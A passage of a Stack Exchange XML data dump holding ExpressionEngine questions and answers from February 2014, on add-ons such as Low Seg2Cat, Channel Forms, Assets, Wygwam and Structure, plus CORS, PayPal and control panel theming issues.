outside of stash:set it fails gracefully. I presume Stash is being parsed before low seg2cat variable is available. Anyone know how I can get around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-02-14T08:24:22.960" Title="Low seg2cat &amp; Stash: Error message when I use it in a conditional" Tags="|stash|low-seg2cat|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19447" PostTypeId="2" ParentId="19428" CreationDate="2014-02-14T02:39:21.940" Score="0" Body="&lt;p&gt;I may be misunderstanding, but whether your div is modal or not isn't a any kind of deal really - you'd just have (another) add_to_cart form in it along with any details you need.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-02-14T02:39:21.940" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="19448" PostTypeId="2" ParentId="19445" CreationDate="2014-02-14T03:52:07.817" Score="2" Body="&lt;p&gt;Check to ensure the fields associated with the actual channel &quot;news_and_updates&quot; are searchable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the field settings there is an option: Is field searchable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure any that need to be, are.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-02-14T03:52:07.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19449" PostTypeId="1" CreationDate="2014-02-14T04:02:15.720" Score="0" ViewCount="389" Body="&lt;p&gt;This is a weird situation I admit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Channel Forms to make all entries on my site created &amp;amp; editable via the front-end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a category group of locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Primary Category to allow the user to specify what their primary location is. Some paid premium entries may also be assigned to additional categories (locations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the CP, when you specify a category as the Primary Category, it automatically selects that category even if it was previously unselected. This bahaviour is not carried over to Channel Forms. If I select a Primary Category via the front-end form the category is not actually selected. I use javascript on form submit to copy the Primary Category ID to a hidden category[] field to be sure that category is selected. This works fine on new entry creation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The complication arises on entry edit via Channel Forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if I edit the Primary Cateogry, I can use the same javascript to assign that cat ID as the value of a hidden field, &lt;strong&gt;but how do I deselect the old Primary Category?&lt;/strong&gt; If I don't deselect the old category when Primary Category is changed, an author could add their entry to more and more locations if they continue to edit the Primary Category, when in most cases I want to limit them to having just the one Primary category selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in essence, I need a hidden form field with a value equivalent to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;category[]&quot; value=&quot;not {some-cat-id}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or another creative solution to use Channel Form (edit entry) to deselect old Primary Category when new one is selected.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-02-20T20:23:17.317" Title="Channel Form: how to explcitly remove a selected category through a hidden field based on Primary Cateogry value" Tags="|categories|solspace|channel-form|primary-category|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19451" PostTypeId="1" AcceptedAnswerId="19489" CreationDate="2014-02-14T04:47:38.220" Score="1" ViewCount="77" Body="&lt;p&gt;I have a checkout page with a drop down menu containing credit card options. The client would also like to add a PayPal button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using PayPal Pro as the payment processor. Previous iterations of the checkout page used PayPal express which provided the functionality we're looking for, i.e. Visitors click to go to client's PayPal page, log-in to PayPal, pay and re-direct to confirmation page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding a button using PayPal's button generator, but it just caused the page to reload when clicking on it - it also disabled the &quot;Place Order&quot; button when I selected a credit card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on adding a PayPal button?&lt;/p&gt;&#xA;" OwnerUserId="1329" LastActivityDate="2014-03-19T00:44:40.053" Title="Adding a PayPal button along with credit cards with exp-resso store" Tags="|expresso-store|paypal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19452" PostTypeId="2" ParentId="19185" CreationDate="2014-02-14T04:49:26.523" Score="1" Body="&lt;p&gt;Thanks for the replies! I figured out the problem; I had two store installations during development, one local and one live. I'd test the site locally which would send a transaction to paypal. Then, I'd upload the changes to the live site where my client would test the latest updates. Naturally the live site didn't increment the orders I place from my local computer - hence the duplicate invoice IDs' when orders were sent from the live site!&lt;/p&gt;&#xA;" OwnerUserId="1329" LastActivityDate="2014-02-14T04:49:26.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19453" PostTypeId="1" AcceptedAnswerId="19474" CreationDate="2014-02-14T04:52:35.817" Score="1" ViewCount="97" Body="&lt;p&gt;I'd like to know if there is any way to output the document's source before any of it is rendered. This would mean retaining all tags, markup, and code: PHP, HTML, EE tags, scripts, etc to see the entire doc. All this set is accessible via debug but it's horrendously garbled and hard to shift through.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2014-02-14T22:28:41.177" Title="Better debug output" Tags="|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19454" PostTypeId="2" ParentId="19440" CreationDate="2014-02-14T07:38:45.667" Score="2" Body="&lt;p&gt;It's probably caused by having PHP on Output, rather than Input, but you can avoid using PHP altogether. The way Low Events is set up, and the way Low Seg2Cat works, will allow you to set both parameters regardless of their format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_events:entries date=&quot;{segment_2}&quot; category=&quot;{segment_2_category_id}&quot;}&#xA;    ...&#xA;{/exp:low_events:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If segment 2 is a date, it won't match a category, so the &lt;code&gt;{segment_2_category_id}&lt;/code&gt; will be empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If segment 2 is a category, it will not match a date, so the &lt;code&gt;date&lt;/code&gt; parameter will ignore that value and use today as the working date.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-02-14T07:38:45.667" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19455" PostTypeId="2" ParentId="19446" CreationDate="2014-02-14T08:24:22.960" Score="2" Body="&lt;p&gt;Try to setup Low seg2cat extension parameter&#xA;&lt;strong&gt;Set all segments&lt;/strong&gt; to &lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-02-14T08:24:22.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19456" PostTypeId="1" CreationDate="2014-02-14T09:31:42.807" Score="2" ViewCount="167" Body="&lt;p&gt;I am having the issue that I am unable to upload any images to the product entry,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The console error I get is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XMLHttpRequest cannot load &lt;a href=&quot;http://www.findsignage.co.uk/?ACT=38&quot; rel=&quot;nofollow&quot;&gt;http://www.findsignage.co.uk/?ACT=38&lt;/a&gt;. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin '&lt;a href=&quot;http://findsignage.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://findsignage.co.uk&lt;/a&gt;' is therefore not allowed access. admin.php?S=239ef94834e3801b60655ed166061f89f7044695&amp;amp;D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id…:1&#xA;Uncaught TypeError: Cannot set property 'innerHTML' of undefined &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2753" LastEditorUserId="150" LastEditDate="2014-02-17T23:13:51.760" LastActivityDate="2014-02-17T23:13:51.760" Title="Channel Images: Unable to upload images to product entry" Tags="|ee2|channel-images|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19457" PostTypeId="1" CreationDate="2014-02-14T10:13:13.000" Score="1" ViewCount="532" Body="&lt;p&gt;Don't need an edit function - just a way for a new member to post new entries, one time, in custom fields (10 of them) in a single channel via one page Channel Form. So basically one form with 10 fields, each of which will be a new entry in one single channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if Channel Form can do this or if there's another plugin. I found one called &lt;a href=&quot;http://www.eevolution.co.nz/index.php?/products/mefu&quot; rel=&quot;nofollow&quot;&gt;Mefu&lt;/a&gt; but it only works for editing multiples not posting new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-07-01T17:01:34.843" Title="Post multiple entries via Channel Form?" Tags="|channel-entries|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19458" PostTypeId="1" AcceptedAnswerId="19460" CreationDate="2014-02-14T10:14:54.733" Score="0" ViewCount="80" Body="&lt;p&gt;I have several different upload destinations in my site, primarily one for images only, named &quot;Images&quot;, and one for all kinds of files, named &quot;Documents&quot;. I've chosen Assets to be the filemanager to use in Wygwam. Problem is, when I insert a new link in a wygwam field, and choose &quot;Browse server&quot;, the only visible upload destination in the Assets popup is &quot;Images&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There doesn't seem to be anywhere to select which upload destinations should be visible, and I'm pretty sure this has worked on other sites in the past. Anyone know what's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.7.3, Wygwam 3.2.2 and Assets 2.2.2.&lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2014-02-14T13:42:18.130" Title="All upload destinations not visible in assets when opened from wygwam" Tags="|assets|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19459" PostTypeId="2" ParentId="19438" CreationDate="2014-02-14T10:27:06.240" Score="1" Body="&lt;p&gt;The shopping cart and order management are completely separate to payment processing. Store is only concerned with the former and then making sure that an order needs to be marked as paid or not paid. Your chosen payment processor is responsible to taking, securing and processing the payment from your customers and then passing on a success or failure message to Store by way of the API response. In the vast majority of cases this is handled off-site on their servers so Store is never exposed to anything. With that in mind it's not actually possible to capture anything as Store never see's it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would still be in line with PCI DSS compliance to store the last 4 digits of the credit card number BUT guidelines strongly suggest that you encrypt this for added security. I certainly don't think any payment gateway would be sending that in a response from their API however so you're only option would be to then take responsibility from the payment processors' hands and take payments on-site meaning that you'd need to read through PCI DSS compliance guidelines and ensure you're secured to the hilt in regards to encrypted transactions, encrypted storage, physical security and every other directive. Expect a considerably high cost for doing this not to mention the burden of responsibility and potential auditing. You could then capture the details on site and send over to the payment processor, keeping the last 4 digits on record. I certainly wouldn't say it's worth it and certainly &lt;strong&gt;wouldn't&lt;/strong&gt; recommend it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just be happy in the knowledge that ignorance is bliss and let someone else worry about the burden of online payment processing and PCI DSS compliance. It's what they take their cut for. :)&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-02-14T10:27:06.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19460" PostTypeId="2" ParentId="19458" CreationDate="2014-02-14T13:42:18.130" Score="1" Body="&lt;p&gt;Go to Add-Ons &gt; Modules &gt; Wygwam &gt; [your config], and clear out the Upload Directory setting. Then Assets will show all of them.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-02-14T13:42:18.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19461" PostTypeId="2" ParentId="19422" CreationDate="2014-02-14T13:46:59.510" Score="1" Body="&lt;p&gt;That error is coming from a “_wygwam” folder. When updating did you rename your old folder to that? Probably just need to delete it.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2014-02-14T13:46:59.510" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19462" PostTypeId="2" ParentId="19441" CreationDate="2014-02-14T16:17:17.843" Score="1" Body="&lt;p&gt;None of the category-related tags or add-ons have pagination that I am aware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you could use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/query/&quot; rel=&quot;nofollow&quot;&gt;Query module&lt;/a&gt; or the &lt;a href=&quot;http://devot-ee.com/add-ons/activerecord&quot; rel=&quot;nofollow&quot;&gt;Active Record plugin&lt;/a&gt; to generate your category listing. Both of these have pagination built in.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-02-14T16:17:17.843" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19464" PostTypeId="2" ParentId="19456" CreationDate="2014-02-14T17:02:04.730" Score="3" Body="&lt;p&gt;The error suggests that you're trying to access content on another domain or sub-domain via JavaScript. Specifically from the information you have provided I think the &lt;code&gt;www&lt;/code&gt; is the cause of the problem as this is seen as a separate subdomain and not allowed in the cross-origin policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that you pick either &lt;code&gt;findsignage.co.uk&lt;/code&gt; or &lt;code&gt;www.findsignage.co.uk&lt;/code&gt; as your fully qualified domain name and stick with it. The debate is out as to which is better to use but it really doesn't make too much difference as long as you're consistent in your choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look through your EE config and that set for Channel Images and ensure all references are set to the same location (one of the above). That should resolve the cross-domain origin issue.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2014-02-14T17:02:04.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19465" PostTypeId="2" ParentId="19098" CreationDate="2014-02-14T17:31:34.307" Score="0" Body="&lt;p&gt;So this was all confusing. Turns out all the client needed to do was set the amount that shipping should be free in their shipping settings.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/14djt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-02-14T17:31:34.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19466" PostTypeId="1" CreationDate="2014-02-14T17:36:02.827" Score="1" ViewCount="103" Body="&lt;p&gt;I have a listing channel of a news/blog page. I'm attempting to use the Structure Monthly Archive plugin to achieve this. Everything seems to be as it should, however I keep getting a 404 error when I attempt to access the monthly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My structure is like this: &#xA;mysite.com/resources/newscenter - this spits out a paginated list of all news/blogs articles&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the left column of this page I've got the Structure Monthly Archive plugin coded, the archive list shows - but when I go to click on the link [which looks like this: resources/newscenter/archives/2014/02] I'm getting the 404 error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can go to: resources/newscenter/archives - where it displays the same list as the main newscenter page: resources/newscenter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? &lt;/p&gt;&#xA;" OwnerUserId="868" LastActivityDate="2014-02-24T10:50:20.517" Title="Structure Monthly Archive - archive template" Tags="|structure|listing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19467" PostTypeId="2" ParentId="12983" CreationDate="2014-02-14T18:38:14.330" Score="0" Body="&lt;p&gt;I had this exact same issue and thought I had solved it with the following jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function() {        &#xA;      $('#myList').append('&amp;lt;option value=&quot;1&quot; selected=&quot;selected&quot;&amp;gt;-- None Selected --&amp;lt;/option&amp;gt;;');   &#xA; });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, if the user left this option selected without choosing anything else from the select box, Freeform considered it invalid input and errored out.  I wanted users not to have to select from this box, as &quot;no selection&quot; was a valid possibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up adding &quot;None Selected&quot; as one of the entries in the channel, closing it so it wouldn't show in the channel but would still show in the select box on the form, and using the following jQuery to set it as the default choice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#myList option[value=109]&quot;).attr(&quot;selected&quot;, &quot;selected&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where 109 was the entry id of the &quot;None Selected&quot; entry I had created.&lt;/p&gt;&#xA;" OwnerUserId="802" LastEditorUserId="802" LastEditDate="2014-02-14T19:17:54.433" LastActivityDate="2014-02-14T19:17:54.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19469" PostTypeId="1" AcceptedAnswerId="19471" CreationDate="2014-02-14T19:16:45.130" Score="1" ViewCount="59" Body="&lt;p&gt;I recently updated a site from 2.1.x to v2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've synced my file directories, images display on the front-end just fine. But I'm having issues with the thumbnails in publish layouts (they show in the file browser and file manager fine as well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, this is what I see in the admin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pS8Fn.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The path to the missing image is /images/uploads/instruments/_thumbs/TEN_ANN_FA.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my server, the file is definitely there, but it has &quot;thumb_&quot; appended to it: /images/uploads/instruments/_thumbs/thumb_TEN_ANN_FA.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same case for ALL of the thumbnails in the publish layouts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this has happened?  And is there somewhere in the config I can manipulate the thumbnail file names so that it finds them correctly?  &lt;/p&gt;&#xA;" OwnerUserId="276" LastActivityDate="2014-02-14T22:09:20.847" Title="Publish layout thumbnail file names changed after update" Tags="|publish-layout|image-path|thumbnails|filename|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19470" PostTypeId="1" AcceptedAnswerId="19497" CreationDate="2014-02-14T21:22:28.293" Score="1" ViewCount="512" Body="&lt;p&gt;I think EE's Control Panel is super simple and intuitive. Granted, I have been using it for over 3 years now, so I am comfortable in it. However, I have had several clients over the years express that they are more comfortable in the Wordpress Backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering, is there any Control Panel theme available that makes the EE Control Panel look and behave similar to Wordpress' backend? (Nav on the left, similar nav organization, publish page layout, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&#xA;I was able to accomplish most of what I wanted by modifying the control panel CSS. Basically, just to get the top nav down along the left. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/z1rkD.jpg&quot; alt=&quot;Wordpressy EE Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not everything I wanted, but it's a start. Basically, I just made a copy of &lt;code&gt;/themes/cp_themes/default/&lt;/code&gt; and called it &lt;code&gt;/themes/cp_themes/wordpressy/&lt;/code&gt; and added the following CSS to &lt;code&gt;global.css&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body {&#xA;    background-color: #27343C;&#xA;}&#xA;#branding {&#xA;    margin-bottom: 0px;&#xA;}&#xA;#mainMenu {&#xA;    width: 15%;&#xA;    height: 100%;&#xA;    float: left;&#xA;    position: fixed;&#xA;    left: 0px;&#xA;    top: 20px;&#xA;    z-index: 9999;&#xA;}&#xA;#navigationTabs {&#xA;    margin: 0px;&#xA;}&#xA;#navigationTabs li:last-child{&#xA;    width:100%;&#xA;}&#xA;#navigationTabs li,&#xA;#navigationTabs li li {&#xA;    float: none;&#xA;}&#xA;#mainWrapper {&#xA;    float: right;&#xA;    width: 85%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to be able to split the main &quot;Content&quot; menu item into individual menu items for each Channel, with maybe &quot;Add New&quot; and &quot;View All&quot; sub items... maybe I could do that with some clever jQuery?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And my reasoning again, for those who think this is a pointless endeavor, is just to break down some imaginary barriers that some clients of mine seem to have when switching to a new CMS. &lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="1527" LastEditDate="2014-02-19T00:39:50.743" LastActivityDate="2014-02-19T00:39:50.743" Title="Control Panel theme that looks like Wordpress" Tags="|control-panel|themes|cp-themes|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19471" PostTypeId="2" ParentId="19469" CreationDate="2014-02-14T22:09:20.847" Score="0" Body="&lt;p&gt;Give this a try if you haven't already.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;rename _thumbs to _thumbs_OLD&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the control panel, navigate to &lt;strong&gt;Content &gt; Files &gt; File Upload Preferences&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the Synchronize button for the upload destination having issues.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gp0rm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-14T22:09:20.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19472" PostTypeId="2" ParentId="19466" CreationDate="2014-02-14T22:17:15.550" Score="1" Body="&lt;pre&gt;&lt;code&gt;&quot;No need to rely on Channels to separate your entries&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This copy says to me the addon works on Structure Page entries, not with Structure Listing entries as your question suggests you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot from the &lt;a href=&quot;http://devot-ee.com/add-ons/structure-monthly-archives&quot; rel=&quot;nofollow noreferrer&quot;&gt;Structure Monthly Archives&lt;/a&gt; Devot:ee page showing how the entries need to be setup for the addon to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WxOvx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-14T22:17:15.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19473" PostTypeId="2" ParentId="19457" CreationDate="2014-02-14T22:22:27.167" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/index.html&quot; rel=&quot;nofollow&quot;&gt;Channel Form module&lt;/a&gt; is what you use to submit entries from the front-end of the site.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Channel Form &lt;strong&gt;makes it possible to add&lt;/strong&gt; and edit entries from&#xA;  outside of the Control Panel using a regular form inside a template.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't understanding the &quot;multiple entries&quot; part of your question title so can't offer much assistance there. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-07-01T17:01:34.843" LastActivityDate="2014-07-01T17:01:34.843" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19474" PostTypeId="2" ParentId="19453" CreationDate="2014-02-14T22:28:41.177" Score="2" Body="&lt;p&gt;I'm not following your question 100% but take a look at the &lt;a href=&quot;http://devot-ee.com/add-ons/ee-debug-toolbar&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;EE Debug Toolbar&lt;/strong&gt;&lt;/a&gt;. It's the newest addon for debugging EE templates and may give you more of what you're wanting.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Adds an unobtrusive interface for debugging output on an&#xA;  ExpressionEngine 2.0 site. Replaces default Profiler and Template&#xA;  Debugger provided with ExpressionEngine.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-02-14T22:28:41.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19475" PostTypeId="2" ParentId="19470" CreationDate="2014-02-14T22:58:35.673" Score="7" Body="&lt;p&gt;You can find the available CP themes at &lt;a href=&quot;http://devot-ee.com/add-ons/filter?t=cpt&quot;&gt;http://devot-ee.com/add-ons/filter?t=cpt&lt;/a&gt; - but in the end EE and WP are different applications, think about content differently, and hence require different architectures in the Control Panel.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-02-14T22:58:35.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19476" PostTypeId="2" ParentId="19397" CreationDate="2014-02-14T23:02:05.283" Score="0" Body="&lt;p&gt;I'd say it's a bug, otherwise the variable would more logically be category_parent_id.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-02-14T23:02:05.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19477" PostTypeId="2" ParentId="19379" CreationDate="2014-02-15T00:51:46.527" Score="0" Body="&lt;p&gt;I've had this before too where the client had reached the disk storage limit on their hosting account. Upgrading hosting or clearing out some old files to free up storage might help.&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2014-02-15T00:51:46.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19478" PostTypeId="2" ParentId="19304" CreationDate="2014-02-15T00:54:54.507" Score="1" Body="&lt;p&gt;Have you tried cranking up max_execution_time? Try 300 Various ways to do it - some cPanel versions let you configure it along with php version or you could use a php.ini file&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2014-02-15T00:54:54.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19479" PostTypeId="1" CreationDate="2014-02-15T05:47:02.350" Score="2" ViewCount="169" Body="&lt;p&gt;I have install structure on existing web site. I have lots of entries. the problem is entries does not working after installing of structure. Because of entries has selected default template group. I need to manually select template group from each entries, but i have lots of entries so, it will take more time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already select templates in channel settings of structure. if i select template group in entries its working properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any solution, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ExpressionEngine: 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Structure: 3.3.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Jignesh&lt;/p&gt;&#xA;" OwnerUserId="2664" LastActivityDate="2014-02-21T09:57:36.383" Title="How to manage existing entries of channel with structure without select template from each entry?" Tags="|channel-entries|channel|structure|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19480" PostTypeId="1" CreationDate="2014-02-15T07:39:46.577" Score="1" ViewCount="111" Body="&lt;p&gt;I'm running assets2, connecting to some S3 buckets. At the moment we're transitioning between one set of buckets and another, so I would expect our index to be twice as big as it will eventually be. But recent dumps of the database seem to be growing exponentially (it leapt from 10.4Mb to 40Mb in a week and there's an editorial team of one working on the build!) and I think it's the assets_index_data table - a snapshot this morning tells me that it has 3,045,452 rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be surprised if we had 10,000 images in these collective buckets, so I can't figure out why that table is so gargantuan - surely it can't be right? It contains big groups of rows that all have the same session id - it's almost as if every time it indexes the buckets, it creates new rows rather than updating existing ones, leading to an enormously bloated table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I may be completely wrong and perhaps it needs to be this big, but it doesn't seem right and can't continue to grow this way!&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2014-02-17T06:38:38.513" Title="exp_assets_index_data table is MASSIVE" Tags="|assets|amazons3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19481" PostTypeId="2" ParentId="19379" CreationDate="2014-02-15T18:06:22.950" Score="4" Body="&lt;p&gt;After more investigation, I reviewed the settings for the upload field. Once I checked this previously unnecessary option, the problem disappeared.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Disable XSS Clean&lt;/strong&gt;&#xA;  This option allows you to disable system XSS cleaning just for this file upload field in case you are having issues with user uploads being incorrectly blocked.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While I can't be sure, and the hosting company denies it, I suspect they changed a setting or upgraded software causing XSS cleaning to become a problem.&lt;/p&gt;&#xA;" OwnerUserId="359" LastActivityDate="2014-02-15T18:06:22.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
